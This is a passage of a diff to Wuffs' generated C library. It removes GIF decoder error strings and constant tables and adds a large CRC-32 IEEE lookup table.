!defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__DEFLATE) -+#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CBOR) - --#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__GIF) -+#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CRC32) - - // ---------------- Status Codes Implementations - --const char wuffs_gif__error__bad_lzw_code[] = "#gif: bad LZW code"; --const char wuffs_gif__error__bad_extension_label[] = "#gif: bad extension label"; --const char wuffs_gif__error__bad_frame_size[] = "#gif: bad frame size"; --const char wuffs_gif__error__bad_graphic_control[] = "#gif: bad graphic control"; --const char wuffs_gif__error__bad_header[] = "#gif: bad header"; --const char wuffs_gif__error__bad_literal_width[] = "#gif: bad literal width"; --const char wuffs_gif__error__bad_palette[] = "#gif: bad palette"; --const char wuffs_gif__error__truncated_input[] = "#gif: truncated input"; --const char wuffs_gif__error__internal_error_inconsistent_i_o[] = "#gif: internal error: inconsistent I/O"; -- - // ---------------- Private Consts - - static const uint32_t --WUFFS_GIF__INTERLACE_START[5] WUFFS_BASE__POTENTIALLY_UNUSED = { -- 4294967295, 1, 2, 4, 0, --}; -- --static const uint8_t --WUFFS_GIF__INTERLACE_DELTA[5] WUFFS_BASE__POTENTIALLY_UNUSED = { -- 1, 2, 4, 8, 8, --}; -- --static const uint8_t --WUFFS_GIF__INTERLACE_COUNT[5] WUFFS_BASE__POTENTIALLY_UNUSED = { -- 0, 1, 2, 4, 8, --}; -- --static const uint8_t --WUFFS_GIF__ANIMEXTS1DOT0[11] WUFFS_BASE__POTENTIALLY_UNUSED = { -- 65, 78, 73, 77, 69, 88, 84, 83, -- 49, 46, 48, --}; -- --static const uint8_t --WUFFS_GIF__NETSCAPE2DOT0[11] WUFFS_BASE__POTENTIALLY_UNUSED = { -- 78, 69, 84, 83, 67, 65, 80, 69, -- 50, 46, 48, --}; -- --static const uint8_t --WUFFS_GIF__ICCRGBG1012[11] WUFFS_BASE__POTENTIALLY_UNUSED = { -- 73, 67, 67, 82, 71, 66, 71, 49, -- 48, 49, 50, --}; -- --static const uint8_t --WUFFS_GIF__XMPDATAXMP[11] WUFFS_BASE__POTENTIALLY_UNUSED = { -- 88, 77, 80, 32, 68, 97, 116, 97, -- 88, 77, 80, -+WUFFS_CRC32__IEEE_TABLE[16][256] WUFFS_BASE__POTENTIALLY_UNUSED = { -+ { -+ 0u, 1996959894u, 3993919788u, 2567524794u, 124634137u, 1886057615u, 3915621685u, 2657392035u, -+ 249268274u, 2044508324u, 3772115230u, 2547177864u, 162941995u, 2125561021u, 3887607047u, 2428444049u, -+ 498536548u, 1789927666u, 4089016648u, 2227061214u, 450548861u, 1843258603u, 4107580753u, 2211677639u, -+ 325883990u, 1684777152u, 4251122042u, 2321926636u, 335633487u, 1661365465u, 4195302755u, 2366115317u, -+ 997073096u, 1281953886u, 3579855332u, 2724688242u, 1006888145u, 1258607687u, 3524101629u, 2768942443u, -+ 901097722u, 1119000684u, 3686517206u, 2898065728u, 853044451u, 1172266101u, 3705015759u, 2882616665u, -+ 651767980u, 1373503546u, 3369554304u, 3218104598u, 565507253u, 1454621731u, 3485111705u, 3099436303u, -+ 671266974u, 1594198024u, 3322730930u, 2970347812u, 795835527u, 1483230225u, 3244367275u, 3060149565u, -+ 1994146192u, 31158534u, 2563907772u, 4023717930u, 1907459465u, 112637215u, 2680153253u, 3904427059u, -+ 2013776290u, 251722036u, 2517215374u, 3775830040u, 2137656763u, 141376813u, 2439277719u, 3865271297u, -+ 1802195444u, 476864866u, 2238001368u, 4066508878u, 1812370925u, 453092731u, 2181625025u, 4111451223u, -+ 1706088902u, 314042704u, 2344532202u, 4240017532u, 1658658271u, 366619977u, 2362670323u, 4224994405u, -+ 1303535960u, 984961486u, 2747007092u, 3569037538u, 1256170817u, 1037604311u, 2765210733u, 3554079995u, -+ 1131014506u, 879679996u, 2909243462u, 3663771856u, 1141124467u, 855842277u, 2852801631u, 3708648649u, -+ 1342533948u, 654459306u, 3188396048u, 3373015174u, 1466479909u, 544179635u, 3110523913u, 3462522015u, -+ 1591671054u, 702138776u, 2966460450u, 3352799412u, 1504918807u, 783551873u, 3082640443u, 3233442989u, -+ 3988292384u, 2596254646u, 62317068u, 1957810842u, 3939845945u, 2647816111u, 81470997u, 1943803523u, -+ 3814918930u, 2489596804u, 225274430u, 2053790376u, 3826175755u, 2466906013u, 167816743u, 2097651377u, -+ 4027552580u, 2265490386u, 503444072u, 1762050814u, 4150417245u, 2154129355u, 426522225u, 1852507879u, -+ 4275313526u, 2312317920u, 282753626u, 1742555852u, 4189708143u, 2394877945u, 397917763u, 1622183637u, -+ 3604390888u, 2714866558u, 953729732u, 1340076626u, 3518719985u, 2797360999u, 1068828381u, 1219638859u, -+ 3624741850u, 2936675148u, 906185462u, 1090812512u, 3747672003u, 2825379669u, 829329135u, 1181335161u, -+ 3412177804u, 3160834842u, 628085408u, 1382605366u, 3423369109u, 3138078467u, 570562233u, 1426400815u, -+ 3317316542u, 2998733608u, 733239954u, 1555261956u, 3268935591u, 3050360625u, 752459403u, 1541320221u, -+ 2607071920u, 3965973030u, 1969922972u, 40735498u, 2617837225u, 3943577151u, 1913087877u, 83908371u, -+ 2512341634u, 3803740692u, 2075208622u, 213261112u, 2463272603u, 3855990285u, 2094854071u, 198958881u, -+ 2262029012u, 4057260610u, 1759359992u, 534414190u, 2176718541u, 4139329115u, 1873836001u, 414664567u, -+ 2282248934u, 4279200368u, 1711684554u, 285281116u, 2405801727u, 4167216745u, 1634467795u, 376229701u, -+ 2685067896u, 3608007406u, 1308918612u, 956543938u, 2808555105u, 3495958263u, 1231636301u, 1047427035u, -+ 2932959818u, 3654703836u, 1088359270u, 936918000u, 2847714899u, 3736837829u, 1202900863u, 817233897u, -+ 3183342108u, 3401237130u, 1404277552u, 615818150u, 3134207493u, 3453421203u, 1423857449u, 601450431u, -+ 3009837614u, 3294710456u, 1567103746u, 711928724u, 3020668471u, 3272380065u, 1510334235u, 755167117u, -+ }, { -+ 0u, 421212481u, 842424962u, 724390851u, 1684849924u, 2105013317u, 1448781702u, 1329698503u, -+ 3369699848u, 3519200073u, 4210026634u, 3824474571u, 2897563404u, 3048111693u, 2659397006u, 2274893007u, -+ 1254232657u, 1406739216u, 2029285587u, 1643069842u, 783210325u, 934667796u, 479770071u, 92505238u, -+ 2182846553u, 2600511768u, 2955803355u, 2838940570u, 3866582365u, 4285295644u, 3561045983u, 3445231262u, -+ 2508465314u, 2359236067u, 2813478432u, 3198777185u, 4058571174u, 3908292839u, 3286139684u, 3670389349u, -+ 1566420650u, 1145479147u, 1869335592u, 1987116393u, 959540142u, 539646703u, 185010476u, 303839341u, -+ 3745920755u, 3327985586u, 3983561841u, 4100678960u, 3140154359u, 2721170102u, 2300350837u, 2416418868u, -+ 396344571u, 243568058u, 631889529u, 1018359608u, 1945336319u, 1793607870u, 1103436669u, 1490954812u, -+ 4034481925u, 3915546180u, 3259968903u, 3679722694u, 2484439553u, 2366552896u, 2787371139u, 3208174018u, -+ 950060301u, 565965900u, 177645455u, 328046286u, 1556873225u, 1171730760u, 1861902987u, 2011255754u, -+ 3132841300u, 2745199637u, 2290958294u, 2442530455u, 3738671184u, 3352078609u, 3974232786u, 4126854035u, -+ 1919080284u, 1803150877u, 1079293406u, 1498383519u, 370020952u, 253043481u, 607678682u, 1025720731u, -+ 1711106983u, 2095471334u, 1472923941u, 1322268772u, 26324643u, 411738082u, 866634785u, 717028704u, -+ 2904875439u, 3024081134u, 2668790573u, 2248782444u, 3376948395u, 3495106026u, 4219356713u, 3798300520u, -+ 792689142u, 908347575u, 487136116u, 68299317u, 1263779058u, 1380486579u, 2036719216u, 1618931505u, -+ 3890672638u, 4278043327u, 3587215740u, 3435896893u, 2206873338u, 2593195963u, 2981909624u, 2829542713u, -+ 998479947u, 580430090u, 162921161u, 279890824u, 1609522511u, 1190423566u, 1842954189u, 1958874764u, -+ 4082766403u, 3930137346u, 3245109441u, 3631694208u, 2536953671u, 2385372678u, 2768287173u, 3155920004u, -+ 1900120602u, 1750776667u, 1131931800u, 1517083097u, 355290910u, 204897887u, 656092572u, 1040194781u, -+ 3113746450u, 2692952403u, 2343461520u, 2461357009u, 3723805974u, 3304059991u, 4022511508u, 4141455061u, -+ 2919742697u, 3072101800u, 2620513899u, 2234183466u, 3396041197u, 3547351212u, 4166851439u, 3779471918u, -+ 1725839073u, 2143618976u, 1424512099u, 1307796770u, 45282277u, 464110244u, 813994343u, 698327078u, -+ 3838160568u, 4259225593u, 3606301754u, 3488152955u, 2158586812u, 2578602749u, 2996767038u, 2877569151u, -+ 740041904u, 889656817u, 506086962u, 120682355u, 1215357364u, 1366020341u, 2051441462u, 1667084919u, -+ 3422213966u, 3538019855u, 4190942668u, 3772220557u, 2945847882u, 3062702859u, 2644537544u, 2226864521u, -+ 52649286u, 439905287u, 823476164u, 672009861u, 1733269570u, 2119477507u, 1434057408u, 1281543041u, -+ 2167981343u, 2552493150u, 3004082077u, 2853541596u, 3847487515u, 4233048410u, 3613549209u, 3464057816u, -+ 1239502615u, 1358593622u, 2077699477u, 1657543892u, 764250643u, 882293586u, 532408465u, 111204816u, -+ 1585378284u, 1197851309u, 1816695150u, 1968414767u, 974272232u, 587794345u, 136598634u, 289367339u, -+ 2527558116u, 2411481253u, 2760973158u, 3179948583u, 4073438432u, 3956313505u, 3237863010u, 3655790371u, -+ 347922877u, 229101820u, 646611775u, 1066513022u, 1892689081u, 1774917112u, 1122387515u, 1543337850u, -+ 3697634229u, 3313392372u, 3998419255u, 4148705398u, 3087642289u, 2702352368u, 2319436851u, 2468674930u, -+ }, { -+ 0u, 29518391u, 59036782u, 38190681u, 118073564u, 114017003u, 76381362u, 89069189u, -+ 236147128u, 265370511u, 228034006u, 206958561u, 152762724u, 148411219u, 178138378u, 190596925u, -+ 472294256u, 501532999u, 530741022u, 509615401u, 456068012u, 451764635u, 413917122u, 426358261u, -+ 305525448u, 334993663u, 296822438u, 275991697u, 356276756u, 352202787u, 381193850u, 393929805u, -+ 944588512u, 965684439u, 1003065998u, 973863097u, 1061482044u, 1049003019u, 1019230802u, 1023561829u, -+ 912136024u, 933002607u, 903529270u, 874031361u, 827834244u, 815125939u, 852716522u, 856752605u, -+ 611050896u, 631869351u, 669987326u, 640506825u, 593644876u, 580921211u, 551983394u, 556069653u, -+ 712553512u, 733666847u, 704405574u, 675154545u, 762387700u, 749958851u, 787859610u, 792175277u, -+ 1889177024u, 1901651959u, 1931368878u, 1927033753u, 2006131996u, 1985040171u, 1947726194u, 1976933189u, -+ 2122964088u, 2135668303u, 2098006038u, 2093965857u, 2038461604u, 2017599123u, 2047123658u, 2076625661u, -+ 1824272048u, 1836991623u, 1866005214u, 1861914857u, 1807058540u, 1786244187u, 1748062722u, 1777547317u, -+ 1655668488u, 1668093247u, 1630251878u, 1625932113u, 1705433044u, 1684323811u, 1713505210u, 1742760333u, -+ 1222101792u, 1226154263u, 1263738702u, 1251046777u, 1339974652u, 1310460363u, 1281013650u, 1301863845u, -+ 1187289752u, 1191637167u, 1161842422u, 1149379777u, 1103966788u, 1074747507u, 1112139306u, 1133218845u, -+ 1425107024u, 1429406311u, 1467333694u, 1454888457u, 1408811148u, 1379576507u, 1350309090u, 1371438805u, -+ 1524775400u, 1528845279u, 1499917702u, 1487177649u, 1575719220u, 1546255107u, 1584350554u, 1605185389u, -+ 3778354048u, 3774312887u, 3803303918u, 3816007129u, 3862737756u, 3892238699u, 3854067506u, 3833203973u, -+ 4012263992u, 4007927823u, 3970080342u, 3982554209u, 3895452388u, 3924658387u, 3953866378u, 3932773565u, -+ 4245928176u, 4241609415u, 4271336606u, 4283762345u, 4196012076u, 4225268251u, 4187931714u, 4166823541u, -+ 4076923208u, 4072833919u, 4035198246u, 4047918865u, 4094247316u, 4123732899u, 4153251322u, 4132437965u, -+ 3648544096u, 3636082519u, 3673983246u, 3678331705u, 3732010428u, 3753090955u, 3723829714u, 3694611429u, -+ 3614117080u, 3601426159u, 3572488374u, 3576541825u, 3496125444u, 3516976691u, 3555094634u, 3525581405u, -+ 3311336976u, 3298595879u, 3336186494u, 3340255305u, 3260503756u, 3281337595u, 3251864226u, 3222399125u, -+ 3410866088u, 3398419871u, 3368647622u, 3372945905u, 3427010420u, 3448139075u, 3485520666u, 3456284973u, -+ 2444203584u, 2423127159u, 2452308526u, 2481530905u, 2527477404u, 2539934891u, 2502093554u, 2497740997u, -+ 2679949304u, 2659102159u, 2620920726u, 2650438049u, 2562027300u, 2574714131u, 2603727690u, 2599670141u, -+ 2374579504u, 2353749767u, 2383274334u, 2412743529u, 2323684844u, 2336421851u, 2298759554u, 2294686645u, -+ 2207933576u, 2186809023u, 2149495014u, 2178734801u, 2224278612u, 2236720739u, 2266437690u, 2262135309u, -+ 2850214048u, 2820717207u, 2858812622u, 2879680249u, 2934667388u, 2938704459u, 2909776914u, 2897069605u, -+ 2817622296u, 2788420399u, 2759153014u, 2780249921u, 2700618180u, 2704950259u, 2742877610u, 2730399645u, -+ 3049550800u, 3020298727u, 3057690558u, 3078802825u, 2999835404u, 3004150075u, 2974355298u, 2961925461u, -+ 3151438440u, 3121956959u, 3092510214u, 3113327665u, 3168701108u, 3172786307u, 3210370778u, 3197646061u, -+ }, { -+ 0u, 3099354981u, 2852767883u, 313896942u, 2405603159u, 937357362u, 627793884u, 2648127673u, -+ 3316918511u, 2097696650u, 1874714724u, 3607201537u, 1255587768u, 4067088605u, 3772741427u, 1482887254u, -+ 1343838111u, 3903140090u, 4195393300u, 1118632049u, 3749429448u, 1741137837u, 1970407491u, 3452858150u, -+ 2511175536u, 756094997u, 1067759611u, 2266550430u, 449832999u, 2725482306u, 2965774508u, 142231497u, -+ 2687676222u, 412010587u, 171665333u, 2995192016u, 793786473u, 2548850444u, 2237264098u, 1038456711u, -+ 1703315409u, 3711623348u, 3482275674u, 1999841343u, 3940814982u, 1381529571u, 1089329165u, 4166106984u, -+ 4029413537u, 1217896388u, 1512189994u, 3802027855u, 2135519222u, 3354724499u, 3577784189u, 1845280792u, -+ 899665998u, 2367928107u, 2677414085u, 657096608u, 3137160985u, 37822588u, 284462994u, 2823350519u, -+ 2601801789u, 598228824u, 824021174u, 2309093331u, 343330666u, 2898962447u, 3195996129u, 113467524u, -+ 1587572946u, 3860600759u, 4104763481u, 1276501820u, 3519211397u, 1769898208u, 2076913422u, 3279374443u, -+ 3406630818u, 1941006535u, 1627703081u, 3652755532u, 1148164341u, 4241751952u, 3999682686u, 1457141531u, -+ 247015245u, 3053797416u, 2763059142u, 470583459u, 2178658330u, 963106687u, 735213713u, 2473467892u, -+ 992409347u, 2207944806u, 2435792776u, 697522413u, 3024379988u, 217581361u, 508405983u, 2800865210u, -+ 4271038444u, 1177467017u, 1419450215u, 3962007554u, 1911572667u, 3377213406u, 3690561584u, 1665525589u, -+ 1799331996u, 3548628985u, 3241568279u, 2039091058u, 3831314379u, 1558270126u, 1314193216u, 4142438437u, -+ 2928380019u, 372764438u, 75645176u, 3158189981u, 568925988u, 2572515393u, 2346768303u, 861712586u, -+ 3982079547u, 1441124702u, 1196457648u, 4293663189u, 1648042348u, 3666298377u, 3358779879u, 1888390786u, -+ 686661332u, 2421291441u, 2196002399u, 978858298u, 2811169155u, 523464422u, 226935048u, 3040519789u, -+ 3175145892u, 100435649u, 390670639u, 2952089162u, 841119475u, 2325614998u, 2553003640u, 546822429u, -+ 2029308235u, 3225988654u, 3539796416u, 1782671013u, 4153826844u, 1328167289u, 1570739863u, 3844338162u, -+ 1298864389u, 4124540512u, 3882013070u, 1608431339u, 3255406162u, 2058742071u, 1744848601u, 3501990332u, -+ 2296328682u, 811816591u, 584513889u, 2590678532u, 129869501u, 3204563416u, 2914283062u, 352848211u, -+ 494030490u, 2781751807u, 3078325777u, 264757620u, 2450577869u, 715964072u, 941166918u, 2158327331u, -+ 3636881013u, 1618608400u, 1926213374u, 3396585883u, 1470427426u, 4011365959u, 4255988137u, 1158766284u, -+ 1984818694u, 3471935843u, 3695453837u, 1693991400u, 4180638033u, 1100160564u, 1395044826u, 3952793279u, -+ 3019491049u, 189112716u, 435162722u, 2706139399u, 1016811966u, 2217162459u, 2526189877u, 774831696u, -+ 643086745u, 2666061564u, 2354934034u, 887166583u, 2838900430u, 294275499u, 54519365u, 3145957664u, -+ 3823145334u, 1532818963u, 1240029693u, 4048895640u, 1820460577u, 3560857924u, 3331051178u, 2117577167u, -+ 3598663992u, 1858283101u, 2088143283u, 3301633750u, 1495127663u, 3785470218u, 4078182116u, 1269332353u, -+ 332098007u, 2876706482u, 3116540252u, 25085497u, 2628386432u, 605395429u, 916469259u, 2384220526u, -+ 2254837415u, 1054503362u, 745528876u, 2496903497u, 151290352u, 2981684885u, 2735556987u, 464596510u, -+ 1137851976u, 4218313005u, 3923506883u, 1365741990u, 3434129695u, 1946996346u, 1723425172u, 3724871409u, -+ }, { -+ 0u, 1029712304u, 2059424608u, 1201699536u, 4118849216u, 3370159984u, 2403399072u, 2988497936u, -+ 812665793u, 219177585u, 1253054625u, 2010132753u, 3320900865u, 4170237105u, 3207642721u, 2186319825u, -+ 1625331586u, 1568718386u, 438355170u, 658566482u, 2506109250u, 2818578674u, 4020265506u, 3535817618u, -+ 1351670851u, 1844508147u, 709922595u, 389064339u, 2769320579u, 2557498163u, 3754961379u, 3803185235u, -+ 3250663172u, 4238411444u, 3137436772u, 2254525908u, 876710340u, 153198708u, 1317132964u, 1944187668u, -+ 4054934725u, 3436268917u, 2339452837u, 3054575125u, 70369797u, 961670069u, 2129760613u, 1133623509u, -+ 2703341702u, 2621542710u, 3689016294u, 3867263574u, 1419845190u, 1774270454u, 778128678u, 318858390u, -+ 2438067015u, 2888948471u, 3952189479u, 3606153623u, 1691440519u, 1504803895u, 504432359u, 594620247u, -+ 1492342857u, 1704161785u, 573770537u, 525542041u, 2910060169u, 2417219385u, 3618876905u, 3939730521u, -+ 1753420680u, 1440954936u, 306397416u, 790849880u, 2634265928u, 2690882808u, 3888375336u, 3668168600u, -+ 940822475u, 91481723u, 1121164459u, 2142483739u, 3448989963u, 4042473659u, 3075684971u, 2318603227u, -+ 140739594u, 889433530u, 1923340138u, 1338244826u, 4259521226u, 3229813626u, 2267247018u, 3124975642u, -+ 2570221389u, 2756861693u, 3824297005u, 3734113693u, 1823658381u, 1372780605u, 376603373u, 722643805u, -+ 2839690380u, 2485261628u, 3548540908u, 4007806556u, 1556257356u, 1638052860u, 637716780u, 459464860u, -+ 4191346895u, 3300051327u, 2199040943u, 3195181599u, 206718479u, 825388991u, 1989285231u, 1274166495u, -+ 3382881038u, 4106388158u, 3009607790u, 2382549470u, 1008864718u, 21111934u, 1189240494u, 2072147742u, -+ 2984685714u, 2357631266u, 3408323570u, 4131834434u, 1147541074u, 2030452706u, 1051084082u, 63335554u, -+ 2174155603u, 3170292451u, 4216760371u, 3325460867u, 1947622803u, 1232499747u, 248909555u, 867575619u, -+ 3506841360u, 3966111392u, 2881909872u, 2527485376u, 612794832u, 434546784u, 1581699760u, 1663499008u, -+ 3782634705u, 3692447073u, 2612412337u, 2799048193u, 351717905u, 697754529u, 1849071985u, 1398190273u, -+ 1881644950u, 1296545318u, 182963446u, 931652934u, 2242328918u, 3100053734u, 4284967478u, 3255255942u, -+ 1079497815u, 2100821479u, 983009079u, 133672583u, 3050795671u, 2293717799u, 3474399735u, 4067887175u, -+ 281479188u, 765927844u, 1778867060u, 1466397380u, 3846680276u, 3626469220u, 2676489652u, 2733102084u, -+ 548881365u, 500656741u, 1517752501u, 1729575173u, 3577210133u, 3898068133u, 2952246901u, 2459410373u, -+ 3910527195u, 3564487019u, 2480257979u, 2931134987u, 479546907u, 569730987u, 1716854139u, 1530213579u, -+ 3647316762u, 3825568426u, 2745561210u, 2663766474u, 753206746u, 293940330u, 1445287610u, 1799716618u, -+ 2314567513u, 3029685993u, 4080348217u, 3461678473u, 2088098201u, 1091956777u, 112560889u, 1003856713u, -+ 3112514712u, 2229607720u, 3276105720u, 4263857736u, 1275433560u, 1902492648u, 918929720u, 195422344u, -+ 685033439u, 364179055u, 1377080511u, 1869921551u, 3713294623u, 3761522863u, 2811507327u, 2599689167u, -+ 413436958u, 633644462u, 1650777982u, 1594160846u, 3978570462u, 3494118254u, 2548332990u, 2860797966u, -+ 1211387997u, 1968470509u, 854852413u, 261368461u, 3182753437u, 2161434413u, 3346310653u, 4195650637u, -+ 2017729436u, 1160000044u, 42223868u, 1071931724u, 2378480988u, 2963576044u, 4144295484u, 3395602316u, -+ }, { -+ 0u, 3411858341u, 1304994059u, 2257875630u, 2609988118u, 1355649459u, 3596215069u, 486879416u, -+ 3964895853u, 655315400u, 2711298918u, 1791488195u, 2009251963u, 3164476382u, 973758832u, 4048990933u, -+ 64357019u, 3364540734u, 1310630800u, 2235723829u, 2554806413u, 1394316072u, 3582976390u, 517157411u, -+ 4018503926u, 618222419u, 2722963965u, 1762783832u, 1947517664u, 3209171269u, 970744811u, 4068520014u, -+ 128714038u, 3438335635u, 1248109629u, 2167961496u, 2621261600u, 1466012805u, 3522553387u, 447296910u, -+ 3959392091u, 547575038u, 2788632144u, 1835791861u, 1886307661u, 3140622056u, 1034314822u, 4143626211u, -+ 75106221u, 3475428360u, 1236444838u, 2196665603u, 2682996155u, 1421317662u, 3525567664u, 427767573u, -+ 3895035328u, 594892389u, 2782995659u, 1857943406u, 1941489622u, 3101955187u, 1047553757u, 4113347960u, -+ 257428076u, 3288652233u, 1116777319u, 2311878850u, 2496219258u, 1603640287u, 3640781169u, 308099796u, -+ 3809183745u, 676813732u, 2932025610u, 1704983215u, 2023410199u, 3016104370u, 894593820u, 4262377657u, -+ 210634999u, 3352484690u, 1095150076u, 2316991065u, 2535410401u, 1547934020u, 3671583722u, 294336591u, -+ 3772615322u, 729897279u, 2903845777u, 1716123700u, 2068629644u, 2953845545u, 914647431u, 4258839074u, -+ 150212442u, 3282623743u, 1161604689u, 2388688372u, 2472889676u, 1480171241u, 3735940167u, 368132066u, -+ 3836185911u, 805002898u, 2842635324u, 1647574937u, 2134298401u, 3026852996u, 855535146u, 4188192143u, -+ 186781121u, 3229539940u, 1189784778u, 2377547631u, 2427670487u, 1542429810u, 3715886812u, 371670393u, -+ 3882979244u, 741170185u, 2864262823u, 1642462466u, 2095107514u, 3082559007u, 824732849u, 4201955092u, -+ 514856152u, 3589064573u, 1400419795u, 2552522358u, 2233554638u, 1316849003u, 3370776517u, 62202976u, -+ 4075001525u, 968836368u, 3207280574u, 1954014235u, 1769133219u, 2720925446u, 616199592u, 4024870413u, -+ 493229635u, 3594175974u, 1353627464u, 2616354029u, 2264355925u, 1303087088u, 3409966430u, 6498043u, -+ 4046820398u, 979978123u, 3170710821u, 2007099008u, 1789187640u, 2717386141u, 661419827u, 3962610838u, -+ 421269998u, 3527459403u, 1423225061u, 2676515648u, 2190300152u, 1238466653u, 3477467891u, 68755798u, -+ 4115633027u, 1041448998u, 3095868040u, 1943789869u, 1860096405u, 2776760880u, 588673182u, 3897205563u, -+ 449450869u, 3516317904u, 1459794558u, 2623431131u, 2170245475u, 1242006214u, 3432247400u, 131015629u, -+ 4137259288u, 1036337853u, 3142660115u, 1879958454u, 1829294862u, 2790523051u, 549483013u, 3952910752u, -+ 300424884u, 3669282065u, 1545650111u, 2541513754u, 2323209378u, 1092980487u, 3350330793u, 216870412u, -+ 4256931033u, 921128828u, 2960342482u, 2066738807u, 1714085583u, 2910195050u, 736264132u, 3770592353u, -+ 306060335u, 3647131530u, 1610005796u, 2494197377u, 2309971513u, 1123257756u, 3295149874u, 255536279u, -+ 4268596802u, 892423655u, 3013951305u, 2029645036u, 1711070292u, 2929725425u, 674528607u, 3815288570u, -+ 373562242u, 3709388839u, 1535949449u, 2429577516u, 2379569556u, 1183418929u, 3223189663u, 188820282u, -+ 4195850735u, 827017802u, 3084859620u, 2089020225u, 1636228089u, 2866415708u, 743340786u, 3876759895u, -+ 361896217u, 3738094268u, 1482340370u, 2466671543u, 2382584591u, 1163888810u, 3284924932u, 144124321u, -+ 4190215028u, 849168593u, 3020503679u, 2136336858u, 1649465698u, 2836138695u, 798521449u, 3838094284u, -+ }, { -+ 0u, 2792819636u, 2543784233u, 837294749u, 4098827283u, 1379413927u, 1674589498u, 3316072078u, -+ 871321191u, 2509784531u, 2758827854u, 34034938u, 3349178996u, 1641505216u, 1346337629u, 4131942633u, -+ 1742642382u, 3249117050u, 4030828007u, 1446413907u, 2475800797u, 904311657u, 68069876u, 2725880384u, -+ 1412551337u, 4064729373u, 3283010432u, 1708771380u, 2692675258u, 101317902u, 937551763u, 2442587175u, -+ 3485284764u, 1774858792u, 1478633653u, 4266992385u, 1005723023u, 2642744891u, 2892827814u, 169477906u, -+ 4233263099u, 1512406095u, 1808623314u, 3451546982u, 136139752u, 2926205020u, 2676114113u, 972376437u, -+ 2825102674u, 236236518u, 1073525883u, 2576072655u, 1546420545u, 4200303349u, 3417542760u, 1841601500u, -+ 2609703733u, 1039917185u, 202635804u, 2858742184u, 1875103526u, 3384067218u, 4166835727u, 1579931067u, -+ 1141601657u, 3799809741u, 3549717584u, 1977839588u, 2957267306u, 372464350u, 668680259u, 2175552503u, -+ 2011446046u, 3516084394u, 3766168119u, 1175200131u, 2209029901u, 635180217u, 338955812u, 2990736784u, -+ 601221559u, 2242044419u, 3024812190u, 306049834u, 3617246628u, 1911408144u, 1074125965u, 3866285881u, -+ 272279504u, 3058543716u, 2275784441u, 567459149u, 3832906691u, 1107462263u, 1944752874u, 3583875422u, -+ 2343980261u, 767641425u, 472473036u, 3126744696u, 2147051766u, 3649987394u, 3899029983u, 1309766251u, -+ 3092841090u, 506333494u, 801510315u, 2310084639u, 1276520081u, 3932237093u, 3683203000u, 2113813516u, -+ 3966292011u, 1243601823u, 2079834370u, 3716205238u, 405271608u, 3192979340u, 2411259153u, 701492901u, -+ 3750207052u, 2045810168u, 1209569125u, 4000285905u, 734575199u, 2378150379u, 3159862134u, 438345922u, -+ 2283203314u, 778166598u, 529136603u, 3120492655u, 2086260449u, 3660498261u, 3955679176u, 1303499900u, -+ 3153699989u, 495890209u, 744928700u, 2316418568u, 1337360518u, 3921775410u, 3626602927u, 2120129051u, -+ 4022892092u, 1237286280u, 2018993941u, 3726666913u, 461853231u, 3186645403u, 2350400262u, 711936178u, -+ 3693557851u, 2052076527u, 1270360434u, 3989775046u, 677911624u, 2384402428u, 3220639073u, 427820757u, -+ 1202443118u, 3789347034u, 3493118535u, 1984154099u, 3018127229u, 362020041u, 612099668u, 2181885408u, -+ 1950653705u, 3526596285u, 3822816288u, 1168934804u, 2148251930u, 645706414u, 395618355u, 2984485767u, -+ 544559008u, 2248295444u, 3085590153u, 295523645u, 3560598451u, 1917673479u, 1134918298u, 3855773998u, -+ 328860103u, 3052210803u, 2214924526u, 577903450u, 3889505748u, 1101147744u, 1883911421u, 3594338121u, -+ 3424493451u, 1785369663u, 1535282850u, 4260726038u, 944946072u, 2653270060u, 2949491377u, 163225861u, -+ 4294103532u, 1501944408u, 1752023237u, 3457862513u, 196998655u, 2915761739u, 2619532502u, 978710370u, -+ 2881684293u, 229902577u, 1012666988u, 2586515928u, 1603020630u, 4193987810u, 3356702335u, 1852063179u, -+ 2553040162u, 1046169238u, 263412747u, 2848217023u, 1818454321u, 3390333573u, 4227627032u, 1569420204u, -+ 60859927u, 2782375331u, 2487203646u, 843627658u, 4159668740u, 1368951216u, 1617990445u, 3322386585u, -+ 810543216u, 2520310724u, 2815490393u, 27783917u, 3288386659u, 1652017111u, 1402985802u, 4125677310u, -+ 1685994201u, 3255382381u, 4091620336u, 1435902020u, 2419138250u, 910562686u, 128847843u, 2715354199u, -+ 1469150398u, 4058414858u, 3222168983u, 1719234083u, 2749255853u, 94984985u, 876691844u, 2453031472u, -+ }, { -+ 0u, 3433693342u, 1109723005u, 2391738339u, 2219446010u, 1222643300u, 3329165703u, 180685081u, -+ 3555007413u, 525277995u, 2445286600u, 1567235158u, 1471092047u, 2600801745u, 361370162u, 3642757804u, -+ 2092642603u, 2953916853u, 1050555990u, 4063508168u, 4176560081u, 878395215u, 3134470316u, 1987983410u, -+ 2942184094u, 1676945920u, 3984272867u, 567356797u, 722740324u, 3887998202u, 1764827929u, 2778407815u, -+ 4185285206u, 903635656u, 3142804779u, 2012833205u, 2101111980u, 2979425330u, 1058630609u, 4088621903u, -+ 714308067u, 3862526333u, 1756790430u, 2753330688u, 2933487385u, 1651734407u, 3975966820u, 542535930u, -+ 2244825981u, 1231508451u, 3353891840u, 188896414u, 25648519u, 3442302233u, 1134713594u, 2399689316u, -+ 1445480648u, 2592229462u, 336416693u, 3634843435u, 3529655858u, 516441772u, 2420588879u, 1559052753u, -+ 698204909u, 3845636723u, 1807271312u, 2803025166u, 2916600855u, 1635634313u, 4025666410u, 593021940u, -+ 4202223960u, 919787974u, 3093159461u, 1962401467u, 2117261218u, 2996361020u, 1008193759u, 4038971457u, -+ 1428616134u, 2576151384u, 386135227u, 3685348389u, 3513580860u, 499580322u, 2471098945u, 1608776415u, -+ 2260985971u, 1248454893u, 3303468814u, 139259792u, 42591881u, 3458459159u, 1085071860u, 2349261162u, -+ 3505103035u, 474062885u, 2463016902u, 1583654744u, 1419882049u, 2550902495u, 377792828u, 3660491170u, -+ 51297038u, 3483679632u, 1093385331u, 2374089965u, 2269427188u, 1273935210u, 3311514249u, 164344343u, -+ 2890961296u, 1627033870u, 4000683757u, 585078387u, 672833386u, 3836780532u, 1782552599u, 2794821769u, -+ 2142603813u, 3005188795u, 1032883544u, 4047146438u, 4227826911u, 928351297u, 3118105506u, 1970307900u, 